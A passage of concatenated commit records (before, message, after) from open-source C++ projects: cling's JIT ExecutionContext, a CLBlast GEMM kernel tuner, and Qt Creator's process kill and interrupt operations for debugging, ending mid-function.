ExecutionContext::ExecutionResult ExecutionContext::runStaticInitializersOnce(llvm::Module* m) { assert(m && "Module must not be null"); assert(m_engine && "Code generation did not create an engine!"); if (m_RunningStaticInits) return kExeSuccess; llvm::GlobalVariable* GV = m->getGlobalVariable("llvm.global_ctors", true); // Nothing to do is good, too. if (!GV) return kExeSuccess; // Close similarity to // m_engine->runStaticConstructorsDestructors(false) aka // llvm::ExecutionEngine::runStaticConstructorsDestructors() // is intentional; we do an extra pass to check whether the JIT // managed to collect all the symbols needed by the niitializers. // Should be an array of '{ i32, void ()* }' structs. The first value is // the init priority, which we ignore. llvm::ConstantArray *InitList = llvm::dyn_cast<llvm::ConstantArray>(GV->getInitializer()); if (InitList == 0) return kExeSuccess; m_RunningStaticInits = true; // We don't care whether something was unresolved before. m_unresolvedSymbols.clear(); for (unsigned i = 0, e = InitList->getNumOperands(); i != e; ++i) { llvm::ConstantStruct *CS = llvm::dyn_cast<llvm::ConstantStruct>(InitList->getOperand(i)); if (CS == 0) continue; llvm::Constant *FP = CS->getOperand(1); if (FP->isNullValue()) continue; // Found a sentinal value, ignore. // Strip off constant expression casts. if (llvm::ConstantExpr *CE = llvm::dyn_cast<llvm::ConstantExpr>(FP)) if (CE->isCast()) FP = CE->getOperand(0); // Execute the ctor/dtor function! if (llvm::Function *F = llvm::dyn_cast<llvm::Function>(FP)) { m_engine->getPointerToFunction(F); // check if there is any unresolved symbol in the list if (!m_unresolvedSymbols.empty()) { llvm::SmallVector<llvm::Function*, 100> funcsToFree; for (std::set<std::string>::const_iterator i = m_unresolvedSymbols.begin(), e = m_unresolvedSymbols.end(); i != e; ++i) { llvm::errs() << "ExecutionContext::runStaticInitializersOnce: symbol '" << *i << "' unresolved while linking static initializer '" << F->getName() << "'!\n"; llvm::Function *ff = m_engine->FindFunctionNamed(i->c_str()); assert(ff && "cannot find function to free"); funcsToFree.push_back(ff); } freeCallersOfUnresolvedSymbols(funcsToFree, m_engine.get()); m_unresolvedSymbols.clear(); m_RunningStaticInits = false; return kExeUnresolvedSymbols; } m_engine->runFunction(F, std::vector<llvm::GenericValue>()); } } GV->eraseFromParent(); m_RunningStaticInits = false; return kExeSuccess; } void ExecutionContext::runStaticDestructorsOnce(llvm::Module* m) { assert(m && "Module must not be null"); assert(m_engine && "Code generation did not create an engine!"); llvm::GlobalVariable* gdtors = m->getGlobalVariable("llvm.global_dtors", true); if (gdtors) { m_engine->runStaticConstructorsDestructors(true); } // 'Unload' the cxa_atexit entities. for (size_t I = 0, E = m_AtExitFuncs.size(); I < E; ++I) { const CXAAtExitElement& AEE = m_AtExitFuncs[E-I-1]; (*AEE.m_Func)(AEE.m_Arg); } m_AtExitFuncs.clear(); } int ExecutionContext::verifyModule(llvm::Module* m) { // // Verify generated module. // bool mod_has_errs = llvm::verifyModule(*m, llvm::PrintMessageAction); if (mod_has_errs) { return 1; } return 0; } void ExecutionContext::printModule(llvm::Module* m) { // // Print module LLVM code in human-readable form. // llvm::PassManager PM; PM.add(llvm::createPrintModulePass(&llvm::errs())); PM.run(*m); } void ExecutionContext::installLazyFunctionCreator(LazyFunctionCreatorFunc_t fp) { m_lazyFuncCreator.push_back(fp); } bool ExecutionContext::addSymbol(const char* symbolName, void* symbolAddress) { void* actualAddress = llvm::sys::DynamicLibrary::SearchForAddressOfSymbol(symbolName); if (actualAddress) return false; llvm::sys::DynamicLibrary::AddSymbol(symbolName, symbolAddress); return true; } void* ExecutionContext::getAddressOfGlobal(llvm::Module* m, const char* symbolName, bool* fromJIT /*=0*/) const { // Return a symbol's address, and whether it was jitted. void* address = llvm::sys::DynamicLibrary::SearchForAddressOfSymbol(symbolName); if (address) { if (fromJIT) *fromJIT = false; } else { if (fromJIT) *fromJIT = true; llvm::GlobalVariable* gvar = m->getGlobalVariable(symbolName, true); if (!gvar) return 0; address = m_engine->getPointerToGlobal(gvar); } return address; } <commit_msg>Capture non-functions in caller insted of passing 0; add assert against 0.<commit_after>//--------------------------------------------------------------------*- C++ -*- // CLING - the C++ LLVM-based InterpreterG :) // version: $Id$ // author: Axel Naumann <[email protected]> //------------------------------------------------------------------------------ #include "ExecutionContext.h" #include "cling/Interpreter/StoredValueRef.h" #include "clang/AST/Type.h" #include "llvm/IR/Constants.h" #include "llvm/IR/Module.h" #include "llvm/PassManager.h" #include "llvm/ADT/SmallPtrSet.h" #include "llvm/Analysis/Verifier.h" #include "llvm/Assembly/PrintModulePass.h" #include "llvm/ExecutionEngine/GenericValue.h" #include "llvm/ExecutionEngine/JIT.h" #include "llvm/Support/raw_ostream.h" #include "llvm/Support/DynamicLibrary.h" using namespace cling; std::set<std::string> ExecutionContext::m_unresolvedSymbols; std::vector<ExecutionContext::LazyFunctionCreatorFunc_t> ExecutionContext::m_lazyFuncCreator; bool ExecutionContext::m_LazyFuncCreatorDiagsSuppressed = false; // Keep in source: OwningPtr<ExecutionEngine> needs #include ExecutionEngine ExecutionContext::ExecutionContext(llvm::Module* m) : m_RunningStaticInits(false), m_CxaAtExitRemapped(false) { assert(m && "llvm::Module must not be null!"); m_AtExitFuncs.reserve(256); InitializeBuilder(m); } // Keep in source: ~OwningPtr<ExecutionEngine> needs #include ExecutionEngine ExecutionContext::~ExecutionContext() { for (size_t I = 0, N = m_AtExitFuncs.size(); I < N; ++I) { const CXAAtExitElement& AEE = m_AtExitFuncs[N - I - 1]; (*AEE.m_Func)(AEE.m_Arg); } } void ExecutionContext::InitializeBuilder(llvm::Module* m) { // // Create an execution engine to use. // assert(m && "Module cannot be null"); // Note: Engine takes ownership of the module. llvm::EngineBuilder builder(m); std::string errMsg; builder.setErrorStr(&errMsg); builder.setOptLevel(llvm::CodeGenOpt::Less); builder.setEngineKind(llvm::EngineKind::JIT); builder.setAllocateGVsWithCode(false); // EngineBuilder uses default c'ted TargetOptions, too: llvm::TargetOptions TargetOpts; TargetOpts.NoFramePointerElim = 1; TargetOpts.JITEmitDebugInfo = 1; builder.setTargetOptions(TargetOpts); m_engine.reset(builder.create()); if (!m_engine) llvm::errs() << "cling::ExecutionContext::InitializeBuilder(): " << errMsg; assert(m_engine && "Cannot create module!"); // install lazy function creators m_engine->InstallLazyFunctionCreator(NotifyLazyFunctionCreators); } int ExecutionContext::CXAAtExit(void (*func) (void*), void* arg, void* dso, void* clangDecl) { // Register a CXAAtExit function clang::Decl* LastTLD = (clang::Decl*)clangDecl; m_AtExitFuncs.push_back(CXAAtExitElement(func, arg, dso, LastTLD)); return 0; // happiness } void unresolvedSymbol() { // throw exception? llvm::errs() << "ExecutionContext: calling unresolved symbol, " "see previous error message!\n"; } void* ExecutionContext::HandleMissingFunction(const std::string& mangled_name) { // Not found in the map, add the symbol in the list of unresolved symbols if (m_unresolvedSymbols.insert(mangled_name).second) { llvm::errs() << "ExecutionContext: use of undefined symbol '" << mangled_name << "'!\n"; } // Avoid "ISO C++ forbids casting between pointer-to-function and // pointer-to-object": return (void*)reinterpret_cast<size_t>(unresolvedSymbol); } void* ExecutionContext::NotifyLazyFunctionCreators(const std::string& mangled_name) { for (std::vector<LazyFunctionCreatorFunc_t>::iterator it = m_lazyFuncCreator.begin(), et = m_lazyFuncCreator.end(); it != et; ++it) { void* ret = (void*)((LazyFunctionCreatorFunc_t)*it)(mangled_name); if (ret) return ret; } if (m_LazyFuncCreatorDiagsSuppressed) return 0; return HandleMissingFunction(mangled_name); } static void freeCallersOfUnresolvedSymbols(llvm::SmallVectorImpl<llvm::Function*>& funcsToFree, llvm::ExecutionEngine* engine) { llvm::SmallPtrSet<llvm::Function*, 40> funcsToFreeUnique; for (size_t i = 0; i < funcsToFree.size(); ++i) { llvm::Function* func = funcsToFree[i]; assert(func && "Cannot free NULL function"); if (funcsToFreeUnique.insert(func)) { for (llvm::Value::use_iterator IU = func->use_begin(), EU = func->use_end(); IU != EU; ++IU) { llvm::Instruction* instUser = llvm::dyn_cast<llvm::Instruction>(*IU); if (!instUser) continue; if (!instUser->getParent()) continue; if (llvm::Function* userFunc = instUser->getParent()->getParent()) funcsToFree.push_back(userFunc); } } } for (llvm::SmallPtrSet<llvm::Function*, 40>::iterator I = funcsToFreeUnique.begin(), E = funcsToFreeUnique.end(); I != E; ++I) { // This should force the JIT to recompile the function. But the stubs stay, // and the JIT reuses the stubs now pointing nowhere, i.e. without updating // the machine code address. Fix the JIT, or hope that MCJIT helps. //engine->freeMachineCodeForFunction(*I); engine->updateGlobalMapping(*I, 0); } } ExecutionContext::ExecutionResult ExecutionContext::executeFunction(llvm::StringRef funcname, const clang::ASTContext& Ctx, clang::QualType retType, StoredValueRef* returnValue) { // Call a function without arguments, or with an SRet argument, see SRet below if (!m_CxaAtExitRemapped) { // Rewire atexit: llvm::Function* atExit = m_engine->FindFunctionNamed("__cxa_atexit"); llvm::Function* clingAtExit = m_engine->FindFunctionNamed("cling_cxa_atexit"); if (atExit && clingAtExit) { void* clingAtExitAddr = m_engine->getPointerToFunction(clingAtExit); assert(clingAtExitAddr && "cannot find cling_cxa_atexit"); m_engine->updateGlobalMapping(atExit, clingAtExitAddr); m_CxaAtExitRemapped = true; } } // We don't care whether something was unresolved before. m_unresolvedSymbols.clear(); llvm::Function* f = m_engine->FindFunctionNamed(funcname.str().c_str()); if (!f) { llvm::errs() << "ExecutionContext::executeFunction: " "could not find function named " << funcname << '\n'; return kExeFunctionNotCompiled; } m_engine->getPointerToFunction(f); // check if there is any unresolved symbol in the list if (!m_unresolvedSymbols.empty()) { llvm::SmallVector<llvm::Function*, 100> funcsToFree; for (std::set<std::string>::const_iterator i = m_unresolvedSymbols.begin(), e = m_unresolvedSymbols.end(); i != e; ++i) { llvm::errs() << "ExecutionContext::executeFunction: symbol '" << *i << "' unresolved while linking function '" << funcname << "'!\n"; llvm::Function *ff = m_engine->FindFunctionNamed(i->c_str()); // i could also reference a global variable, in which case ff == 0. if (ff) funcsToFree.push_back(ff); } freeCallersOfUnresolvedSymbols(funcsToFree, m_engine.get()); m_unresolvedSymbols.clear(); return kExeUnresolvedSymbols; } std::vector<llvm::GenericValue> args; bool wantReturn = (returnValue); StoredValueRef aggregateRet; if (f->hasStructRetAttr()) { // Function expects to receive the storage for the returned aggregate as // first argument. Allocate returnValue: aggregateRet = StoredValueRef::allocate(Ctx, retType, f->getReturnType()); if (returnValue) { *returnValue = aggregateRet; } else { returnValue = &aggregateRet; } args.push_back(returnValue->get().getGV()); // will get set as arg0, must not assign. wantReturn = false; } if (wantReturn) { llvm::GenericValue gvRet = m_engine->runFunction(f, args); // rescue the ret value (which might be aggregate) from the stack *returnValue = StoredValueRef::bitwiseCopy(Ctx, Value(gvRet, retType)); } else { m_engine->runFunction(f, args); } return kExeSuccess; } ExecutionContext::ExecutionResult ExecutionContext::runStaticInitializersOnce(llvm::Module* m) { assert(m && "Module must not be null"); assert(m_engine && "Code generation did not create an engine!"); if (m_RunningStaticInits) return kExeSuccess; llvm::GlobalVariable* GV = m->getGlobalVariable("llvm.global_ctors", true); // Nothing to do is good, too. if (!GV) return kExeSuccess; // Close similarity to // m_engine->runStaticConstructorsDestructors(false) aka // llvm::ExecutionEngine::runStaticConstructorsDestructors() // is intentional; we do an extra pass to check whether the JIT // managed to collect all the symbols needed by the niitializers. // Should be an array of '{ i32, void ()* }' structs. The first value is // the init priority, which we ignore. llvm::ConstantArray *InitList = llvm::dyn_cast<llvm::ConstantArray>(GV->getInitializer()); if (InitList == 0) return kExeSuccess; m_RunningStaticInits = true; // We don't care whether something was unresolved before. m_unresolvedSymbols.clear(); for (unsigned i = 0, e = InitList->getNumOperands(); i != e; ++i) { llvm::ConstantStruct *CS = llvm::dyn_cast<llvm::ConstantStruct>(InitList->getOperand(i)); if (CS == 0) continue; llvm::Constant *FP = CS->getOperand(1); if (FP->isNullValue()) continue; // Found a sentinal value, ignore. // Strip off constant expression casts. if (llvm::ConstantExpr *CE = llvm::dyn_cast<llvm::ConstantExpr>(FP)) if (CE->isCast()) FP = CE->getOperand(0); // Execute the ctor/dtor function! if (llvm::Function *F = llvm::dyn_cast<llvm::Function>(FP)) { m_engine->getPointerToFunction(F); // check if there is any unresolved symbol in the list if (!m_unresolvedSymbols.empty()) { llvm::SmallVector<llvm::Function*, 100> funcsToFree; for (std::set<std::string>::const_iterator i = m_unresolvedSymbols.begin(), e = m_unresolvedSymbols.end(); i != e; ++i) { llvm::errs() << "ExecutionContext::runStaticInitializersOnce: symbol '" << *i << "' unresolved while linking static initializer '" << F->getName() << "'!\n"; llvm::Function *ff = m_engine->FindFunctionNamed(i->c_str()); assert(ff && "cannot find function to free"); funcsToFree.push_back(ff); } freeCallersOfUnresolvedSymbols(funcsToFree, m_engine.get()); m_unresolvedSymbols.clear(); m_RunningStaticInits = false; return kExeUnresolvedSymbols; } m_engine->runFunction(F, std::vector<llvm::GenericValue>()); } } GV->eraseFromParent(); m_RunningStaticInits = false; return kExeSuccess; } void ExecutionContext::runStaticDestructorsOnce(llvm::Module* m) { assert(m && "Module must not be null"); assert(m_engine && "Code generation did not create an engine!"); llvm::GlobalVariable* gdtors = m->getGlobalVariable("llvm.global_dtors", true); if (gdtors) { m_engine->runStaticConstructorsDestructors(true); } // 'Unload' the cxa_atexit entities. for (size_t I = 0, E = m_AtExitFuncs.size(); I < E; ++I) { const CXAAtExitElement& AEE = m_AtExitFuncs[E-I-1]; (*AEE.m_Func)(AEE.m_Arg); } m_AtExitFuncs.clear(); } int ExecutionContext::verifyModule(llvm::Module* m) { // // Verify generated module. // bool mod_has_errs = llvm::verifyModule(*m, llvm::PrintMessageAction); if (mod_has_errs) { return 1; } return 0; } void ExecutionContext::printModule(llvm::Module* m) { // // Print module LLVM code in human-readable form. // llvm::PassManager PM; PM.add(llvm::createPrintModulePass(&llvm::errs())); PM.run(*m); } void ExecutionContext::installLazyFunctionCreator(LazyFunctionCreatorFunc_t fp) { m_lazyFuncCreator.push_back(fp); } bool ExecutionContext::addSymbol(const char* symbolName, void* symbolAddress) { void* actualAddress = llvm::sys::DynamicLibrary::SearchForAddressOfSymbol(symbolName); if (actualAddress) return false; llvm::sys::DynamicLibrary::AddSymbol(symbolName, symbolAddress); return true; } void* ExecutionContext::getAddressOfGlobal(llvm::Module* m, const char* symbolName, bool* fromJIT /*=0*/) const { // Return a symbol's address, and whether it was jitted. void* address = llvm::sys::DynamicLibrary::SearchForAddressOfSymbol(symbolName); if (address) { if (fromJIT) *fromJIT = false; } else { if (fromJIT) *fromJIT = true; llvm::GlobalVariable* gvar = m->getGlobalVariable(symbolName, true); if (!gvar) return 0; address = m_engine->getPointerToGlobal(gvar); } return address; } <|endoftext|>
<commit_before> // ================================================================================================= // This file is part of the CLBlast project. The project is licensed under Apache Version 2.0. This // project loosely follows the Google C++ styleguide and uses a tab-size of two spaces and a max- // width of 100 characters per line. // // Author(s): // Cedric Nugteren <www.cedricnugteren.nl> // // This file uses the auto-tuner to tune the xgemm OpenCL kernels. // // ================================================================================================= #include "tuning/kernels/xgemm.hpp" // Shortcuts to the clblast namespace using half = clblast::half; using float2 = clblast::float2; using double2 = clblast::double2; // Function to tune a specific variation V (not within the clblast namespace) template <int V> void StartVariation(int argc, char *argv[]) { const auto command_line_args = clblast::RetrieveCommandLineArguments(argc, argv); switch(clblast::GetPrecision(command_line_args)) { case clblast::Precision::kHalf: clblast::Tuner<half>(argc, argv, V, clblast::XgemmGetTunerDefaults, clblast::XgemmGetTunerSettings<half>, clblast::XgemmTestValidArguments<half>, clblast::XgemmSetConstraints, clblast::XgemmComputeLocalMemSize<half>, clblast::XgemmSetArguments<half>); break; case clblast::Precision::kSingle: clblast::Tuner<float>(argc, argv, V, clblast::XgemmGetTunerDefaults, clblast::XgemmGetTunerSettings<float>, clblast::XgemmTestValidArguments<float>, clblast::XgemmSetConstraints, clblast::XgemmComputeLocalMemSize<float>, clblast::XgemmSetArguments<float>); break; case clblast::Precision::kDouble: clblast::Tuner<double>(argc, argv, V, clblast::XgemmGetTunerDefaults, clblast::XgemmGetTunerSettings<double>, clblast::XgemmTestValidArguments<double>, clblast::XgemmSetConstraints, clblast::XgemmComputeLocalMemSize<double>, clblast::XgemmSetArguments<double>); break; case clblast::Precision::kComplexSingle: clblast::Tuner<float2>(argc, argv, V, clblast::XgemmGetTunerDefaults, clblast::XgemmGetTunerSettings<float2>, clblast::XgemmTestValidArguments<float2>, clblast::XgemmSetConstraints, clblast::XgemmComputeLocalMemSize<float2>, clblast::XgemmSetArguments<float2>); break; case clblast::Precision::kComplexDouble: clblast::Tuner<double2>(argc, argv, V, clblast::XgemmGetTunerDefaults, clblast::XgemmGetTunerSettings<double2>, clblast::XgemmTestValidArguments<double2>, clblast::XgemmSetConstraints, clblast::XgemmComputeLocalMemSize<double2>, clblast::XgemmSetArguments<double2>); break; } } // Main function (not within the clblast namespace) int main(int argc, char *argv[]) { //StartVariation<1>(argc, argv); //StartVariation<2>(argc, argv); StartVariation<11>(argc, argv); StartVariation<12>(argc, argv); return 0; } // ================================================================================================= <commit_msg>forgot to add test cases back in, oops<commit_after> // ================================================================================================= // This file is part of the CLBlast project. The project is licensed under Apache Version 2.0. This // project loosely follows the Google C++ styleguide and uses a tab-size of two spaces and a max- // width of 100 characters per line. // // Author(s): // Cedric Nugteren <www.cedricnugteren.nl> // // This file uses the auto-tuner to tune the xgemm OpenCL kernels. // // ================================================================================================= #include "tuning/kernels/xgemm.hpp" // Shortcuts to the clblast namespace using half = clblast::half; using float2 = clblast::float2; using double2 = clblast::double2; // Function to tune a specific variation V (not within the clblast namespace) template <int V> void StartVariation(int argc, char *argv[]) { const auto command_line_args = clblast::RetrieveCommandLineArguments(argc, argv); switch(clblast::GetPrecision(command_line_args)) { case clblast::Precision::kHalf: clblast::Tuner<half>(argc, argv, V, clblast::XgemmGetTunerDefaults, clblast::XgemmGetTunerSettings<half>, clblast::XgemmTestValidArguments<half>, clblast::XgemmSetConstraints, clblast::XgemmComputeLocalMemSize<half>, clblast::XgemmSetArguments<half>); break; case clblast::Precision::kSingle: clblast::Tuner<float>(argc, argv, V, clblast::XgemmGetTunerDefaults, clblast::XgemmGetTunerSettings<float>, clblast::XgemmTestValidArguments<float>, clblast::XgemmSetConstraints, clblast::XgemmComputeLocalMemSize<float>, clblast::XgemmSetArguments<float>); break; case clblast::Precision::kDouble: clblast::Tuner<double>(argc, argv, V, clblast::XgemmGetTunerDefaults, clblast::XgemmGetTunerSettings<double>, clblast::XgemmTestValidArguments<double>, clblast::XgemmSetConstraints, clblast::XgemmComputeLocalMemSize<double>, clblast::XgemmSetArguments<double>); break; case clblast::Precision::kComplexSingle: clblast::Tuner<float2>(argc, argv, V, clblast::XgemmGetTunerDefaults, clblast::XgemmGetTunerSettings<float2>, clblast::XgemmTestValidArguments<float2>, clblast::XgemmSetConstraints, clblast::XgemmComputeLocalMemSize<float2>, clblast::XgemmSetArguments<float2>); break; case clblast::Precision::kComplexDouble: clblast::Tuner<double2>(argc, argv, V, clblast::XgemmGetTunerDefaults, clblast::XgemmGetTunerSettings<double2>, clblast::XgemmTestValidArguments<double2>, clblast::XgemmSetConstraints, clblast::XgemmComputeLocalMemSize<double2>, clblast::XgemmSetArguments<double2>); break; } } // Main function (not within the clblast namespace) int main(int argc, char *argv[]) { StartVariation<1>(argc, argv); StartVariation<2>(argc, argv); StartVariation<11>(argc, argv); StartVariation<12>(argc, argv); return 0; } // ================================================================================================= <|endoftext|>
<commit_before>/**************************************************************************** ** ** Copyright (C) 2013 Digia Plc and/or its subsidiary(-ies). ** Contact: http://www.qt-project.org/legal ** ** This file is part of Qt Creator. ** ** Commercial License Usage ** Licensees holding valid commercial Qt licenses may use this file in ** accordance with the commercial license agreement provided with the ** Software or, alternatively, in accordance with the terms contained in ** a written agreement between you and Digia. For licensing terms and ** conditions see http://qt.digia.com/licensing. For further information ** use the contact form at http://qt.digia.com/contact-us. ** ** GNU Lesser General Public License Usage ** Alternatively, this file may be used under the terms of the GNU Lesser ** General Public License version 2.1 as published by the Free Software ** Foundation and appearing in the file LICENSE.LGPL included in the ** packaging of this file. Please review the following information to ** ensure the GNU Lesser General Public License version 2.1 requirements ** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. ** ** In addition, as a special exception, Digia gives you certain additional ** rights. These rights are described in the Digia Qt LGPL Exception ** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. ** ****************************************************************************/ #include "desktopprocesssignaloperation.h" #include "localprocesslist.h" #include <utils/winutils.h> #include <QDir> #ifdef Q_OS_WIN #define _WIN32_WINNT 0x0502 #include <windows.h> #ifndef PROCESS_SUSPEND_RESUME #define PROCESS_SUSPEND_RESUME 0x0800 #endif // PROCESS_SUSPEND_RESUME #else // Q_OS_WIN #include <errno.h> #include <signal.h> #endif // else Q_OS_WIN namespace ProjectExplorer { void DesktopProcessSignalOperation::killProcess(int pid) { killProcessSilently(pid); emit finished(m_errorMessage); } void DesktopProcessSignalOperation::killProcess(const QString &filePath) { m_errorMessage.clear(); foreach (const DeviceProcessItem &process, Internal::LocalProcessList::getLocalProcesses()) { if (process.cmdLine == filePath) killProcessSilently(process.pid); } emit finished(m_errorMessage); } void DesktopProcessSignalOperation::interruptProcess(int pid) { m_errorMessage.clear(); interruptProcessSilently(pid); emit finished(m_errorMessage); } void DesktopProcessSignalOperation::interruptProcess(const QString &filePath) { interruptProcess(filePath, NoSpecialInterrupt); } void DesktopProcessSignalOperation::interruptProcess(int pid, SpecialInterrupt specialInterrupt) { m_errorMessage.clear(); interruptProcessSilently(pid, specialInterrupt); } void DesktopProcessSignalOperation::interruptProcess(const QString &filePath, SpecialInterrupt specialInterrupt) { m_errorMessage.clear(); foreach (const DeviceProcessItem &process, Internal::LocalProcessList::getLocalProcesses()) { if (process.cmdLine == filePath) interruptProcessSilently(process.pid, specialInterrupt); } emit finished(m_errorMessage); } void DesktopProcessSignalOperation::appendMsgCannotKill(int pid, const QString &why) { if (!m_errorMessage.isEmpty()) m_errorMessage += QChar::fromLatin1('\n'); m_errorMessage += tr("Cannot kill process with pid %1: %3 ").arg(pid).arg(why); } void DesktopProcessSignalOperation::appendMsgCannotInterrupt(int pid, const QString &why) { if (!m_errorMessage.isEmpty()) m_errorMessage += QChar::fromLatin1('\n'); m_errorMessage += tr("Cannot interrupt process with pid %1: %3 ").arg(pid).arg(why); } void DesktopProcessSignalOperation::killProcessSilently(int pid) { #ifdef Q_OS_WIN const DWORD rights = PROCESS_QUERY_INFORMATION|PROCESS_SET_INFORMATION |PROCESS_VM_OPERATION|PROCESS_VM_WRITE|PROCESS_VM_READ |PROCESS_DUP_HANDLE|PROCESS_TERMINATE|PROCESS_CREATE_THREAD|PROCESS_SUSPEND_RESUME; if (const HANDLE handle = OpenProcess(rights, FALSE, pid)) { if (!TerminateProcess(handle, UINT(-1))) appendMsgCannotKill(pid, Utils::winErrorMessage(GetLastError())); CloseHandle(handle); } else { appendMsgCannotKill(pid, tr("Cannot open process.")); } #else if (pid <= 0) appendMsgCannotKill(pid, tr("Invalid process id.")); else if (kill(pid, SIGKILL)) appendMsgCannotKill(pid, QString::fromLocal8Bit(strerror(errno))); #endif // Q_OS_WIN } void DesktopProcessSignalOperation::interruptProcessSilently( int pid, SpecialInterrupt specialInterrupt) { #ifdef Q_OS_WIN /* Windows 64 bit has a 32 bit subsystem (WOW64) which makes it possible to run a 32 bit application inside a 64 bit environment. When GDB is used DebugBreakProcess must be called from the same system (32/64 bit) running the inferior. If CDB is used we could in theory break wow64 processes, but the break is actually a wow64 breakpoint. CDB is configured to ignore these breakpoints, because they also appear on module loading. Therefore we need helper executables (win(32/64)interrupt.exe) on Windows 64 bit calling DebugBreakProcess from the correct system. DebugBreak matrix for windows Api = UseDebugBreakApi Win64 = UseWin64InterruptHelper Win32 = UseWin32InterruptHelper N/A = This configuration is not possible | Windows 32bit | Windows 64bit | QtCreator 32bit | QtCreator 32bit | QtCreator 64bit | Inferior 32bit | Inferior 32bit | Inferior 64bit | Inferior 32bit | Inferior 64bit ----------|-----------------|-----------------|-----------------|-----------------|---------------- CDB 32bit | Api | Api | N/A | Win32 | N/A 64bit | N/A | Win64 | Win64 | Api | Api ----------|-----------------|-----------------|-----------------|-----------------|---------------- GDB 32bit | Api | Api | N/A | Win32 | N/A 64bit | N/A | N/A | Win64 | N/A | Api ----------|-----------------|-----------------|-----------------|-----------------|---------------- */ HANDLE inferior = NULL; do { const DWORD rights = PROCESS_QUERY_INFORMATION|PROCESS_SET_INFORMATION |PROCESS_VM_OPERATION|PROCESS_VM_WRITE|PROCESS_VM_READ |PROCESS_DUP_HANDLE|PROCESS_TERMINATE|PROCESS_CREATE_THREAD|PROCESS_SUSPEND_RESUME; inferior = OpenProcess(rights, FALSE, pid); if (inferior == NULL) { appendMsgCannotInterrupt(pid, tr("Cannot open process: %1") + Utils::winErrorMessage(GetLastError())); break; } bool creatorIs64Bit = Utils::winIs64BitBinary(qApp->applicationFilePath()); if (!Utils::winIs64BitSystem() || specialInterrupt == NoSpecialInterrupt || specialInterrupt == Win64Interrupt && creatorIs64Bit || specialInterrupt == Win32Interrupt && !creatorIs64Bit) { if (!DebugBreakProcess(inferior)) { appendMsgCannotInterrupt(pid, tr("DebugBreakProcess failed: ") + Utils::winErrorMessage(GetLastError())); } } else if (specialInterrupt == Win32Interrupt || specialInterrupt == Win64Interrupt) { QString executable = QCoreApplication::applicationDirPath(); executable += specialInterrupt == Win32Interrupt ? QLatin1String("/win32interrupt.exe") : QLatin1String("/win64interrupt.exe"); if (!QFile::exists(executable)) { appendMsgCannotInterrupt(pid, tr( "%1 does not exist. If you have built QtCreator " "on your own ,checkout http://qt.gitorious.org/" "qt-creator/binary-artifacts."). arg(QDir::toNativeSeparators(executable))); } switch (QProcess::execute(executable, QStringList(QString::number(pid)))) { case -2: appendMsgCannotInterrupt(pid, tr( "Cannot start %1. Check src\\tools\\win64interrupt\\win64interrupt.c " "for more information.").arg(QDir::toNativeSeparators(executable))); break; case 0: break; default: appendMsgCannotInterrupt(pid, QDir::toNativeSeparators(executable) + tr(" could not break the process.")); break; } } } while (false); if (inferior != NULL) CloseHandle(inferior); #else Q_UNUSED(specialInterrupt) if (pid <= 0) appendMsgCannotInterrupt(pid, tr("Invalid process id.")); else if (kill(pid, SIGINT)) appendMsgCannotInterrupt(pid, QString::fromLocal8Bit(strerror(errno))); #endif // Q_OS_WIN } } // namespace ProjectExplorer <commit_msg>ProjectExplorer: Fix build.<commit_after>/**************************************************************************** ** ** Copyright (C) 2013 Digia Plc and/or its subsidiary(-ies). ** Contact: http://www.qt-project.org/legal ** ** This file is part of Qt Creator. ** ** Commercial License Usage ** Licensees holding valid commercial Qt licenses may use this file in ** accordance with the commercial license agreement provided with the ** Software or, alternatively, in accordance with the terms contained in ** a written agreement between you and Digia. For licensing terms and ** conditions see http://qt.digia.com/licensing. For further information ** use the contact form at http://qt.digia.com/contact-us. ** ** GNU Lesser General Public License Usage ** Alternatively, this file may be used under the terms of the GNU Lesser ** General Public License version 2.1 as published by the Free Software ** Foundation and appearing in the file LICENSE.LGPL included in the ** packaging of this file. Please review the following information to ** ensure the GNU Lesser General Public License version 2.1 requirements ** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. ** ** In addition, as a special exception, Digia gives you certain additional ** rights. These rights are described in the Digia Qt LGPL Exception ** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. ** ****************************************************************************/ #include "desktopprocesssignaloperation.h" #include "localprocesslist.h" #include <utils/winutils.h> #include <QCoreApplication> #include <QDir> #ifdef Q_OS_WIN #define _WIN32_WINNT 0x0502 #include <windows.h> #ifndef PROCESS_SUSPEND_RESUME #define PROCESS_SUSPEND_RESUME 0x0800 #endif // PROCESS_SUSPEND_RESUME #else // Q_OS_WIN #include <errno.h> #include <signal.h> #endif // else Q_OS_WIN namespace ProjectExplorer { void DesktopProcessSignalOperation::killProcess(int pid) { killProcessSilently(pid); emit finished(m_errorMessage); } void DesktopProcessSignalOperation::killProcess(const QString &filePath) { m_errorMessage.clear(); foreach (const DeviceProcessItem &process, Internal::LocalProcessList::getLocalProcesses()) { if (process.cmdLine == filePath) killProcessSilently(process.pid); } emit finished(m_errorMessage); } void DesktopProcessSignalOperation::interruptProcess(int pid) { m_errorMessage.clear(); interruptProcessSilently(pid); emit finished(m_errorMessage); } void DesktopProcessSignalOperation::interruptProcess(const QString &filePath) { interruptProcess(filePath, NoSpecialInterrupt); } void DesktopProcessSignalOperation::interruptProcess(int pid, SpecialInterrupt specialInterrupt) { m_errorMessage.clear(); interruptProcessSilently(pid, specialInterrupt); } void DesktopProcessSignalOperation::interruptProcess(const QString &filePath, SpecialInterrupt specialInterrupt) { m_errorMessage.clear(); foreach (const DeviceProcessItem &process, Internal::LocalProcessList::getLocalProcesses()) { if (process.cmdLine == filePath) interruptProcessSilently(process.pid, specialInterrupt); } emit finished(m_errorMessage); } void DesktopProcessSignalOperation::appendMsgCannotKill(int pid, const QString &why) { if (!m_errorMessage.isEmpty()) m_errorMessage += QChar::fromLatin1('\n'); m_errorMessage += tr("Cannot kill process with pid %1: %3 ").arg(pid).arg(why); } void DesktopProcessSignalOperation::appendMsgCannotInterrupt(int pid, const QString &why) { if (!m_errorMessage.isEmpty()) m_errorMessage += QChar::fromLatin1('\n'); m_errorMessage += tr("Cannot interrupt process with pid %1: %3 ").arg(pid).arg(why); } void DesktopProcessSignalOperation::killProcessSilently(int pid) { #ifdef Q_OS_WIN const DWORD rights = PROCESS_QUERY_INFORMATION|PROCESS_SET_INFORMATION |PROCESS_VM_OPERATION|PROCESS_VM_WRITE|PROCESS_VM_READ |PROCESS_DUP_HANDLE|PROCESS_TERMINATE|PROCESS_CREATE_THREAD|PROCESS_SUSPEND_RESUME; if (const HANDLE handle = OpenProcess(rights, FALSE, 